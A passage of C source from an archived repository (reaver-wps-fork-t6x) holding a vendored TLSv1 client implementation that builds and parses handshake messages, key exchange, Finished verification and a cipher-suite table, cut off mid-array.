TLS_ALERT_LEVEL_FATAL, TLS_ALERT_UNEXPECTED_MESSAGE); return -1; } len = WPA_GET_BE24(pos + 1); pos += 4; left -= 4; if (len > left) { wpa_printf(MSG_DEBUG, "TLSv1: Too short buffer for Finished " "(len=%lu > left=%lu)", (unsigned long) len, (unsigned long) left); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECODE_ERROR); return -1; } end = pos + len; if (len != TLS_VERIFY_DATA_LEN) { wpa_printf(MSG_DEBUG, "TLSv1: Unexpected verify_data length " "in Finished: %lu (expected %d)", (unsigned long) len, TLS_VERIFY_DATA_LEN); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECODE_ERROR); return -1; } wpa_hexdump(MSG_MSGDUMP, "TLSv1: verify_data in Finished", pos, TLS_VERIFY_DATA_LEN); hlen = MD5_MAC_LEN; if (conn->verify.md5_server == NULL || crypto_hash_finish(conn->verify.md5_server, hash, &hlen) < 0) { tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); conn->verify.md5_server = NULL; crypto_hash_finish(conn->verify.sha1_server, NULL, NULL); conn->verify.sha1_server = NULL; return -1; } conn->verify.md5_server = NULL; hlen = SHA1_MAC_LEN; if (conn->verify.sha1_server == NULL || crypto_hash_finish(conn->verify.sha1_server, hash + MD5_MAC_LEN, &hlen) < 0) { conn->verify.sha1_server = NULL; tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); return -1; } conn->verify.sha1_server = NULL; if (tls_prf(conn->master_secret, TLS_MASTER_SECRET_LEN, "server finished", hash, MD5_MAC_LEN + SHA1_MAC_LEN, verify_data, TLS_VERIFY_DATA_LEN)) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to derive verify_data"); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECRYPT_ERROR); return -1; } wpa_hexdump_key(MSG_DEBUG, "TLSv1: verify_data (server)", verify_data, TLS_VERIFY_DATA_LEN); if (os_memcmp(pos, verify_data, TLS_VERIFY_DATA_LEN) != 0) { wpa_printf(MSG_INFO, "TLSv1: Mismatch in verify_data"); return -1; } wpa_printf(MSG_DEBUG, "TLSv1: Received Finished"); *in_len = end - in_data; conn->state = (conn->session_resumed || conn->use_session_ticket) ? CHANGE_CIPHER_SPEC : ACK_FINISHED; return 0; } static int tls_process_application_data(struct tlsv1_client *conn, u8 ct, const u8 *in_data, size_t *in_len, u8 **out_data, size_t *out_len) { const u8 *pos; size_t left; if (ct != TLS_CONTENT_TYPE_APPLICATION_DATA) { wpa_printf(MSG_DEBUG, "TLSv1: Expected Application Data; " "received content type 0x%x", ct); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_UNEXPECTED_MESSAGE); return -1; } pos = in_data; left = *in_len; wpa_hexdump(MSG_DEBUG, "TLSv1: Application Data included in Handshake", pos, left); *out_data = os_malloc(left); if (*out_data) { os_memcpy(*out_data, pos, left); *out_len = left; } return 0; } int tlsv1_client_process_handshake(struct tlsv1_client *conn, u8 ct, const u8 *buf, size_t *len, u8 **out_data, size_t *out_len) { if (ct == TLS_CONTENT_TYPE_ALERT) { if (*len < 2) { wpa_printf(MSG_DEBUG, "TLSv1: Alert underflow"); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECODE_ERROR); return -1; } wpa_printf(MSG_DEBUG, "TLSv1: Received alert %d:%d", buf[0], buf[1]); *len = 2; conn->state = FAILED; return -1; } if (ct == TLS_CONTENT_TYPE_HANDSHAKE && *len >= 4 && buf[0] == TLS_HANDSHAKE_TYPE_HELLO_REQUEST) { size_t hr_len = WPA_GET_BE24(buf + 1); if (hr_len > *len - 4) { wpa_printf(MSG_DEBUG, "TLSv1: HelloRequest underflow"); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECODE_ERROR); return -1; } wpa_printf(MSG_DEBUG, "TLSv1: Ignored HelloRequest"); *len = 4 + hr_len; return 0; } switch (conn->state) { case SERVER_HELLO: if (tls_process_server_hello(conn, ct, buf, len)) return -1; break; case SERVER_CERTIFICATE: if (tls_process_certificate(conn, ct, buf, len)) return -1; break; case SERVER_KEY_EXCHANGE: if (tls_process_server_key_exchange(conn, ct, buf, len)) return -1; break; case SERVER_CERTIFICATE_REQUEST: if (tls_process_certificate_request(conn, ct, buf, len)) return -1; break; case SERVER_HELLO_DONE: if (tls_process_server_hello_done(conn, ct, buf, len)) return -1; break; case SERVER_CHANGE_CIPHER_SPEC: if (tls_process_server_change_cipher_spec(conn, ct, buf, len)) return -1; break; case SERVER_FINISHED: if (tls_process_server_finished(conn, ct, buf, len)) return -1; break; case ACK_FINISHED: if (out_data && tls_process_application_data(conn, ct, buf, len, out_data, out_len)) return -1; break; default: wpa_printf(MSG_DEBUG, "TLSv1: Unexpected state %d " "while processing received message", conn->state); return -1; } if (ct == TLS_CONTENT_TYPE_HANDSHAKE) tls_verify_hash_add(&conn->verify, buf, *len); return 0; } reaver-wps-fork-t6x-1.6.6/src/tls/tlsv1_client_write.c000077500000000000000000000500011363372615500226650ustar00rootroot00000000000000/* * TLSv1 client - write handshake message * Copyright (c) 2006-2007, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "crypto/md5.h" #include "crypto/sha1.h" #include "crypto/tls.h" #include "x509v3.h" #include "tlsv1_common.h" #include "tlsv1_record.h" #include "tlsv1_client.h" #include "tlsv1_client_i.h" static size_t tls_client_cert_chain_der_len(struct tlsv1_client *conn) { size_t len = 0; struct x509_certificate *cert; if (conn->cred == NULL) return 0; cert = conn->cred->cert; while (cert) { len += 3 + cert->cert_len; if (x509_certificate_self_signed(cert)) break; cert = x509_certificate_get_subject(conn->cred->trusted_certs, &cert->issuer); } return len; } u8 * tls_send_client_hello(struct tlsv1_client *conn, size_t *out_len) { u8 *hello, *end, *pos, *hs_length, *hs_start, *rhdr; struct os_time now; size_t len, i; wpa_printf(MSG_DEBUG, "TLSv1: Send ClientHello"); *out_len = 0; os_get_time(&now); WPA_PUT_BE32(conn->client_random, now.sec); if (os_get_random(conn->client_random + 4, TLS_RANDOM_LEN - 4)) { wpa_printf(MSG_ERROR, "TLSv1: Could not generate " "client_random"); return NULL; } wpa_hexdump(MSG_MSGDUMP, "TLSv1: client_random", conn->client_random, TLS_RANDOM_LEN); len = 100 + conn->num_cipher_suites * 2 + conn->client_hello_ext_len; hello = os_malloc(len); if (hello == NULL) return NULL; end = hello + len; rhdr = hello; pos = rhdr + TLS_RECORD_HEADER_LEN; /* opaque fragment[TLSPlaintext.length] */ /* Handshake */ hs_start = pos; /* HandshakeType msg_type */ *pos++ = TLS_HANDSHAKE_TYPE_CLIENT_HELLO; /* uint24 length (to be filled) */ hs_length = pos; pos += 3; /* body - ClientHello */ /* ProtocolVersion client_version */ WPA_PUT_BE16(pos, TLS_VERSION); pos += 2; /* Random random: uint32 gmt_unix_time, opaque random_bytes */ os_memcpy(pos, conn->client_random, TLS_RANDOM_LEN); pos += TLS_RANDOM_LEN; /* SessionID session_id */ *pos++ = conn->session_id_len; os_memcpy(pos, conn->session_id, conn->session_id_len); pos += conn->session_id_len; /* CipherSuite cipher_suites<2..2^16-1> */ WPA_PUT_BE16(pos, 2 * conn->num_cipher_suites); pos += 2; for (i = 0; i < conn->num_cipher_suites; i++) { WPA_PUT_BE16(pos, conn->cipher_suites[i]); pos += 2; } /* CompressionMethod compression_methods<1..2^8-1> */ *pos++ = 1; *pos++ = TLS_COMPRESSION_NULL; if (conn->client_hello_ext) { os_memcpy(pos, conn->client_hello_ext, conn->client_hello_ext_len); pos += conn->client_hello_ext_len; } WPA_PUT_BE24(hs_length, pos - hs_length - 3); tls_verify_hash_add(&conn->verify, hs_start, pos - hs_start); if (tlsv1_record_send(&conn->rl, TLS_CONTENT_TYPE_HANDSHAKE, rhdr, end - rhdr, pos - hs_start, out_len) < 0) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to create TLS record"); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); os_free(hello); return NULL; } conn->state = SERVER_HELLO; return hello; } static int tls_write_client_certificate(struct tlsv1_client *conn, u8 **msgpos, u8 *end) { u8 *pos, *rhdr, *hs_start, *hs_length, *cert_start; size_t rlen; struct x509_certificate *cert; pos = *msgpos; wpa_printf(MSG_DEBUG, "TLSv1: Send Certificate"); rhdr = pos; pos += TLS_RECORD_HEADER_LEN; /* opaque fragment[TLSPlaintext.length] */ /* Handshake */ hs_start = pos; /* HandshakeType msg_type */ *pos++ = TLS_HANDSHAKE_TYPE_CERTIFICATE; /* uint24 length (to be filled) */ hs_length = pos; pos += 3; /* body - Certificate */ /* uint24 length (to be filled) */ cert_start = pos; pos += 3; cert = conn->cred ? conn->cred->cert : NULL; while (cert) { if (pos + 3 + cert->cert_len > end) { wpa_printf(MSG_DEBUG, "TLSv1: Not enough buffer space " "for Certificate (cert_len=%lu left=%lu)", (unsigned long) cert->cert_len, (unsigned long) (end - pos)); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); return -1; } WPA_PUT_BE24(pos, cert->cert_len); pos += 3; os_memcpy(pos, cert->cert_start, cert->cert_len); pos += cert->cert_len; if (x509_certificate_self_signed(cert)) break; cert = x509_certificate_get_subject(conn->cred->trusted_certs, &cert->issuer); } if (conn->cred == NULL || cert == conn->cred->cert || cert == NULL) { /* * Client was not configured with all the needed certificates * to form a full certificate chain. The server may fail to * validate the chain unless it is configured with all the * missing CA certificates. */ wpa_printf(MSG_DEBUG, "TLSv1: Full client certificate chain " "not configured - validation may fail"); } WPA_PUT_BE24(cert_start, pos - cert_start - 3); WPA_PUT_BE24(hs_length, pos - hs_length - 3); if (tlsv1_record_send(&conn->rl, TLS_CONTENT_TYPE_HANDSHAKE, rhdr, end - rhdr, pos - hs_start, &rlen) < 0) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to generate a record"); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); return -1; } pos = rhdr + rlen; tls_verify_hash_add(&conn->verify, hs_start, pos - hs_start); *msgpos = pos; return 0; } static int tlsv1_key_x_anon_dh(struct tlsv1_client *conn, u8 **pos, u8 *end) { /* ClientDiffieHellmanPublic */ u8 *csecret, *csecret_start, *dh_yc, *shared; size_t csecret_len, dh_yc_len, shared_len; csecret_len = conn->dh_p_len; csecret = os_malloc(csecret_len); if (csecret == NULL) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to allocate " "memory for Yc (Diffie-Hellman)"); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); return -1; } if (os_get_random(csecret, csecret_len)) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to get random " "data for Diffie-Hellman"); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); os_free(csecret); return -1; } if (os_memcmp(csecret, conn->dh_p, csecret_len) > 0) csecret[0] = 0; /* make sure Yc < p */ csecret_start = csecret; while (csecret_len > 1 && *csecret_start == 0) { csecret_start++; csecret_len--; } wpa_hexdump_key(MSG_DEBUG, "TLSv1: DH client's secret value", csecret_start, csecret_len); /* Yc = g^csecret mod p */ dh_yc_len = conn->dh_p_len; dh_yc = os_malloc(dh_yc_len); if (dh_yc == NULL) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to allocate " "memory for Diffie-Hellman"); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); os_free(csecret); return -1; } if (crypto_mod_exp(conn->dh_g, conn->dh_g_len, csecret_start, csecret_len, conn->dh_p, conn->dh_p_len, dh_yc, &dh_yc_len)) { tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); os_free(csecret); os_free(dh_yc); return -1; } wpa_hexdump(MSG_DEBUG, "TLSv1: DH Yc (client's public value)", dh_yc, dh_yc_len); WPA_PUT_BE16(*pos, dh_yc_len); *pos += 2; if (*pos + dh_yc_len > end) { wpa_printf(MSG_DEBUG, "TLSv1: Not enough room in the " "message buffer for Yc"); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); os_free(csecret); os_free(dh_yc); return -1; } os_memcpy(*pos, dh_yc, dh_yc_len); *pos += dh_yc_len; os_free(dh_yc); shared_len = conn->dh_p_len; shared = os_malloc(shared_len); if (shared == NULL) { wpa_printf(MSG_DEBUG, "TLSv1: Could not allocate memory for " "DH"); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); os_free(csecret); return -1; } /* shared = Ys^csecret mod p */ if (crypto_mod_exp(conn->dh_ys, conn->dh_ys_len, csecret_start, csecret_len, conn->dh_p, conn->dh_p_len, shared, &shared_len)) { tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); os_free(csecret); os_free(shared); return -1; } wpa_hexdump_key(MSG_DEBUG, "TLSv1: Shared secret from DH key exchange", shared, shared_len); os_memset(csecret_start, 0, csecret_len); os_free(csecret); if (tls_derive_keys(conn, shared, shared_len)) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to derive keys"); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); os_free(shared); return -1; } os_memset(shared, 0, shared_len); os_free(shared); tlsv1_client_free_dh(conn); return 0; } static int tlsv1_key_x_rsa(struct tlsv1_client *conn, u8 **pos, u8 *end) { u8 pre_master_secret[TLS_PRE_MASTER_SECRET_LEN]; size_t clen; int res; if (tls_derive_pre_master_secret(pre_master_secret) < 0 || tls_derive_keys(conn, pre_master_secret, TLS_PRE_MASTER_SECRET_LEN)) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to derive keys"); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); return -1; } /* EncryptedPreMasterSecret */ if (conn->server_rsa_key == NULL) { wpa_printf(MSG_DEBUG, "TLSv1: No server RSA key to " "use for encrypting pre-master secret"); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); return -1; } /* RSA encrypted value is encoded with PKCS #1 v1.5 block type 2. */ *pos += 2; clen = end - *pos; res = crypto_public_key_encrypt_pkcs1_v15( conn->server_rsa_key, pre_master_secret, TLS_PRE_MASTER_SECRET_LEN, *pos, &clen); os_memset(pre_master_secret, 0, TLS_PRE_MASTER_SECRET_LEN); if (res < 0) { wpa_printf(MSG_DEBUG, "TLSv1: RSA encryption failed"); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); return -1; } WPA_PUT_BE16(*pos - 2, clen); wpa_hexdump(MSG_MSGDUMP, "TLSv1: Encrypted pre_master_secret", *pos, clen); *pos += clen; return 0; } static int tls_write_client_key_exchange(struct tlsv1_client *conn, u8 **msgpos, u8 *end) { u8 *pos, *rhdr, *hs_start, *hs_length; size_t rlen; tls_key_exchange keyx; const struct tls_cipher_suite *suite; suite = tls_get_cipher_suite(conn->rl.cipher_suite); if (suite == NULL) keyx = TLS_KEY_X_NULL; else keyx = suite->key_exchange; pos = *msgpos; wpa_printf(MSG_DEBUG, "TLSv1: Send ClientKeyExchange"); rhdr = pos; pos += TLS_RECORD_HEADER_LEN; /* opaque fragment[TLSPlaintext.length] */ /* Handshake */ hs_start = pos; /* HandshakeType msg_type */ *pos++ = TLS_HANDSHAKE_TYPE_CLIENT_KEY_EXCHANGE; /* uint24 length (to be filled) */ hs_length = pos; pos += 3; /* body - ClientKeyExchange */ if (keyx == TLS_KEY_X_DH_anon) { if (tlsv1_key_x_anon_dh(conn, &pos, end) < 0) return -1; } else { if (tlsv1_key_x_rsa(conn, &pos, end) < 0) return -1; } WPA_PUT_BE24(hs_length, pos - hs_length - 3); if (tlsv1_record_send(&conn->rl, TLS_CONTENT_TYPE_HANDSHAKE, rhdr, end - rhdr, pos - hs_start, &rlen) < 0) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to create a record"); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); return -1; } pos = rhdr + rlen; tls_verify_hash_add(&conn->verify, hs_start, pos - hs_start); *msgpos = pos; return 0; } static int tls_write_client_certificate_verify(struct tlsv1_client *conn, u8 **msgpos, u8 *end) { u8 *pos, *rhdr, *hs_start, *hs_length, *signed_start; size_t rlen, hlen, clen; u8 hash[MD5_MAC_LEN + SHA1_MAC_LEN], *hpos; enum { SIGN_ALG_RSA, SIGN_ALG_DSA } alg = SIGN_ALG_RSA; pos = *msgpos; wpa_printf(MSG_DEBUG, "TLSv1: Send CertificateVerify"); rhdr = pos; pos += TLS_RECORD_HEADER_LEN; /* Handshake */ hs_start = pos; /* HandshakeType msg_type */ *pos++ = TLS_HANDSHAKE_TYPE_CERTIFICATE_VERIFY; /* uint24 length (to be filled) */ hs_length = pos; pos += 3; /* * RFC 2246: 7.4.3 and 7.4.8: * Signature signature * * RSA: * digitally-signed struct { * opaque md5_hash[16]; * opaque sha_hash[20]; * }; * * DSA: * digitally-signed struct { * opaque sha_hash[20]; * }; * * The hash values are calculated over all handshake messages sent or * received starting at ClientHello up to, but not including, this * CertificateVerify message, including the type and length fields of * the handshake messages. */ hpos = hash; if (alg == SIGN_ALG_RSA) { hlen = MD5_MAC_LEN; if (conn->verify.md5_cert == NULL || crypto_hash_finish(conn->verify.md5_cert, hpos, &hlen) < 0) { tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); conn->verify.md5_cert = NULL; crypto_hash_finish(conn->verify.sha1_cert, NULL, NULL); conn->verify.sha1_cert = NULL; return -1; } hpos += MD5_MAC_LEN; } else crypto_hash_finish(conn->verify.md5_cert, NULL, NULL); conn->verify.md5_cert = NULL; hlen = SHA1_MAC_LEN; if (conn->verify.sha1_cert == NULL || crypto_hash_finish(conn->verify.sha1_cert, hpos, &hlen) < 0) { conn->verify.sha1_cert = NULL; tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); return -1; } conn->verify.sha1_cert = NULL; if (alg == SIGN_ALG_RSA) hlen += MD5_MAC_LEN; wpa_hexdump(MSG_MSGDUMP, "TLSv1: CertificateVerify hash", hash, hlen); /* * RFC 2246, 4.7: * In digital signing, one-way hash functions are used as input for a * signing algorithm. A digitally-signed element is encoded as an * opaque vector <0..2^16-1>, where the length is specified by the * signing algorithm and key. * * In RSA signing, a 36-byte structure of two hashes (one SHA and one * MD5) is signed (encrypted with the private key). It is encoded with * PKCS #1 block type 0 or type 1 as described in [PKCS1]. */ signed_start = pos; /* length to be filled */ pos += 2; clen = end - pos; if (conn->cred == NULL || crypto_private_key_sign_pkcs1(conn->cred->key, hash, hlen, pos, &clen) < 0) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to sign hash (PKCS #1)"); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); return -1; } WPA_PUT_BE16(signed_start, clen); pos += clen; WPA_PUT_BE24(hs_length, pos - hs_length - 3); if (tlsv1_record_send(&conn->rl, TLS_CONTENT_TYPE_HANDSHAKE, rhdr, end - rhdr, pos - hs_start, &rlen) < 0) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to generate a record"); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); return -1; } pos = rhdr + rlen; tls_verify_hash_add(&conn->verify, hs_start, pos - hs_start); *msgpos = pos; return 0; } static int tls_write_client_change_cipher_spec(struct tlsv1_client *conn, u8 **msgpos, u8 *end) { u8 *pos, *rhdr; size_t rlen; pos = *msgpos; wpa_printf(MSG_DEBUG, "TLSv1: Send ChangeCipherSpec"); rhdr = pos; pos += TLS_RECORD_HEADER_LEN; *pos = TLS_CHANGE_CIPHER_SPEC; if (tlsv1_record_send(&conn->rl, TLS_CONTENT_TYPE_CHANGE_CIPHER_SPEC, rhdr, end - rhdr, 1, &rlen) < 0) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to create a record"); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); return -1; } if (tlsv1_record_change_write_cipher(&conn->rl) < 0) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to set write cipher for " "record layer"); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); return -1; } *msgpos = rhdr + rlen; return 0; } static int tls_write_client_finished(struct tlsv1_client *conn, u8 **msgpos, u8 *end) { u8 *pos, *rhdr, *hs_start, *hs_length; size_t rlen, hlen; u8 verify_data[TLS_VERIFY_DATA_LEN]; u8 hash[MD5_MAC_LEN + SHA1_MAC_LEN]; pos = *msgpos; wpa_printf(MSG_DEBUG, "TLSv1: Send Finished"); /* Encrypted Handshake Message: Finished */ hlen = MD5_MAC_LEN; if (conn->verify.md5_client == NULL || crypto_hash_finish(conn->verify.md5_client, hash, &hlen) < 0) { tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); conn->verify.md5_client = NULL; crypto_hash_finish(conn->verify.sha1_client, NULL, NULL); conn->verify.sha1_client = NULL; return -1; } conn->verify.md5_client = NULL; hlen = SHA1_MAC_LEN; if (conn->verify.sha1_client == NULL || crypto_hash_finish(conn->verify.sha1_client, hash + MD5_MAC_LEN, &hlen) < 0) { conn->verify.sha1_client = NULL; tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); return -1; } conn->verify.sha1_client = NULL; if (tls_prf(conn->master_secret, TLS_MASTER_SECRET_LEN, "client finished", hash, MD5_MAC_LEN + SHA1_MAC_LEN, verify_data, TLS_VERIFY_DATA_LEN)) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to generate verify_data"); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); return -1; } wpa_hexdump_key(MSG_DEBUG, "TLSv1: verify_data (client)", verify_data, TLS_VERIFY_DATA_LEN); rhdr = pos; pos += TLS_RECORD_HEADER_LEN; /* Handshake */ hs_start = pos; /* HandshakeType msg_type */ *pos++ = TLS_HANDSHAKE_TYPE_FINISHED; /* uint24 length (to be filled) */ hs_length = pos; pos += 3; os_memcpy(pos, verify_data, TLS_VERIFY_DATA_LEN); pos += TLS_VERIFY_DATA_LEN; WPA_PUT_BE24(hs_length, pos - hs_length - 3); tls_verify_hash_add(&conn->verify, hs_start, pos - hs_start); if (tlsv1_record_send(&conn->rl, TLS_CONTENT_TYPE_HANDSHAKE, rhdr, end - rhdr, pos - hs_start, &rlen) < 0) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to create a record"); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); return -1; } pos = rhdr + rlen; *msgpos = pos; return 0; } static u8 * tls_send_client_key_exchange(struct tlsv1_client *conn, size_t *out_len) { u8 *msg, *end, *pos; size_t msglen; *out_len = 0; msglen = 1000; if (conn->certificate_requested) msglen += tls_client_cert_chain_der_len(conn); msg = os_malloc(msglen); if (msg == NULL) return NULL; pos = msg; end = msg + msglen; if (conn->certificate_requested) { if (tls_write_client_certificate(conn, &pos, end) < 0) { os_free(msg); return NULL; } } if (tls_write_client_key_exchange(conn, &pos, end) < 0 || (conn->certificate_requested && conn->cred && conn->cred->key && tls_write_client_certificate_verify(conn, &pos, end) < 0) || tls_write_client_change_cipher_spec(conn, &pos, end) < 0 || tls_write_client_finished(conn, &pos, end) < 0) { os_free(msg); return NULL; } *out_len = pos - msg; conn->state = SERVER_CHANGE_CIPHER_SPEC; return msg; } static u8 * tls_send_change_cipher_spec(struct tlsv1_client *conn, size_t *out_len) { u8 *msg, *end, *pos; *out_len = 0; msg = os_malloc(1000); if (msg == NULL) return NULL; pos = msg; end = msg + 1000; if (tls_write_client_change_cipher_spec(conn, &pos, end) < 0 || tls_write_client_finished(conn, &pos, end) < 0) { os_free(msg); return NULL; } *out_len = pos - msg; wpa_printf(MSG_DEBUG, "TLSv1: Session resumption completed " "successfully"); conn->state = ESTABLISHED; return msg; } u8 * tlsv1_client_handshake_write(struct tlsv1_client *conn, size_t *out_len, int no_appl_data) { switch (conn->state) { case CLIENT_KEY_EXCHANGE: return tls_send_client_key_exchange(conn, out_len); case CHANGE_CIPHER_SPEC: return tls_send_change_cipher_spec(conn, out_len); case ACK_FINISHED: wpa_printf(MSG_DEBUG, "TLSv1: Handshake completed " "successfully"); conn->state = ESTABLISHED; *out_len = 0; if (no_appl_data) { /* Need to return something to get final TLS ACK. */ return os_malloc(1); } return NULL; default: wpa_printf(MSG_DEBUG, "TLSv1: Unexpected state %d while " "generating reply", conn->state); return NULL; } } u8 * tlsv1_client_send_alert(struct tlsv1_client *conn, u8 level, u8 description, size_t *out_len) { u8 *alert, *pos, *length; wpa_printf(MSG_DEBUG, "TLSv1: Send Alert(%d:%d)", level, description); *out_len = 0; alert = os_malloc(10); if (alert == NULL) return NULL; pos = alert; /* TLSPlaintext */ /* ContentType type */ *pos++ = TLS_CONTENT_TYPE_ALERT; /* ProtocolVersion version */ WPA_PUT_BE16(pos, TLS_VERSION); pos += 2; /* uint16 length (to be filled) */ length = pos; pos += 2; /* opaque fragment[TLSPlaintext.length] */ /* Alert */ /* AlertLevel level */ *pos++ = level; /* AlertDescription description */ *pos++ = description; WPA_PUT_BE16(length, pos - length - 2); *out_len = pos - alert; return alert; } reaver-wps-fork-t6x-1.6.6/src/tls/tlsv1_common.c000077500000000000000000000165211363372615500214760ustar00rootroot00000000000000/* * TLSv1 common routines * Copyright (c) 2006-2007, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "x509v3.h" #include "tlsv1_common.h" /* * TODO: * RFC 2246 Section 9: Mandatory to implement TLS_DHE_DSS_WITH_3DES_EDE_CBC_SHA * Add support for commonly used cipher suites; don't bother with exportable * suites. */ static const struct tls_cipher_suite tls_cipher_suites[] = { { TLS_NULL_WITH_NULL_NULL, TLS_KEY_X_NULL, TLS_CIPHER_NULL, TLS_HASH_NULL }, { TLS_RSA_WITH_RC4_128_MD5, TLS_KEY_X_RSA, TLS_CIPHER_RC4_128, TLS_HASH_MD5 }, { TLS_RSA_WITH_RC4_128_SHA, TLS_KEY_X_RSA, TLS_CIPHER_RC4_128, TLS_HASH_SHA }, { TLS_RSA_WITH_DES_CBC_SHA, TLS_KEY_X_RSA, TLS_CIPHER_DES_CBC, TLS_HASH_SHA }, { TLS_RSA_WITH_3DES_EDE_CBC_SHA, TLS_KEY_X_RSA, TLS_CIPHER_3DES_EDE_CBC, TLS_HASH_SHA }, { TLS_DH_anon_WITH_RC4_128_MD5, TLS_KEY_X_DH_anon, TLS_CIPHER_RC4_128, TLS_HASH_MD5 }, { TLS_DH_anon_WITH_DES_CBC_SHA, TLS_KEY_X_DH_anon, TLS_CIPHER_DES_CBC, TLS_HASH_SHA }, { TLS_DH_anon_WITH_3DES_EDE_CBC_SHA, TLS_KEY_X_DH_anon, TLS_CIPHER_3DES_EDE_CBC, TLS_HASH_SHA }, { TLS_RSA_WITH_AES_128_CBC_SHA, TLS_KEY_X_RSA, TLS_CIPHER_AES_128_CBC, TLS_HASH_SHA }, { TLS_DH_anon_WITH_AES_128_CBC_SHA, TLS_KEY_X_DH_anon, TLS_CIPHER_AES_128_CBC, TLS_HASH_SHA }, { TLS_RSA_WITH_AES_256_CBC_SHA, TLS_KEY_X_RSA, TLS_CIPHER_AES_256_CBC, TLS_HASH_SHA }, { TLS_DH_anon_WITH_AES_256_CBC_SHA, TLS_KEY_X_DH_anon, TLS_CIPHER_AES_256_CBC, TLS_HASH_SHA } }; #define NUM_ELEMS(a) (sizeof(a) / sizeof((a)[0])) #define NUM_TLS_CIPHER_SUITES NUM_ELEMS(tls_cipher_suites) static const struct tls_cipher_data tls_ciphers[] = { { TLS_CIPHER_NULL, TLS_CIPHER_STREAM, 0, 0, 0, CRYPTO_CIPHER_NULL }, { TLS_CIPHER_IDEA_CBC, TLS_CIPHER_BLOCK, 16, 16, 8, CRYPTO_CIPHER_NULL }, { TLS_CIPHER_RC2_CBC_40, TLS_CIPHER_BLOCK, 5, 16, 0, CRYPTO_CIPHER_ALG_RC2 }, { TLS_CIPHER_RC4_40, TLS_CIPHER_STREAM, 5, 16, 0, CRYPTO_CIPHER_ALG_RC4 }, { TLS_CIPHER_RC4_128, TLS_CIPHER_STREAM, 16, 16, 0, CRYPTO_CIPHER_ALG_RC4 }, { TLS_CIPHER_DES40_CBC, TLS_CIPHER_BLOCK, 5, 8, 8, CRYPTO_CIPHER_ALG_DES }, { TLS_CIPHER_DES_CBC, TLS_CIPHER_BLOCK, 8, 8, 8, CRYPTO_CIPHER_ALG_DES }, { TLS_CIPHER_3DES_EDE_CBC, TLS_CIPHER_BLOCK, 24, 24, 8, CRYPTO_CIPHER_ALG_3DES }, { TLS_CIPHER_AES_128_CBC, TLS_CIPHER_BLOCK, 16, 16, 16, CRYPTO_CIPHER_ALG_AES }, { TLS_CIPHER_AES_256_CBC, TLS_CIPHER_BLOCK, 32, 32, 16, 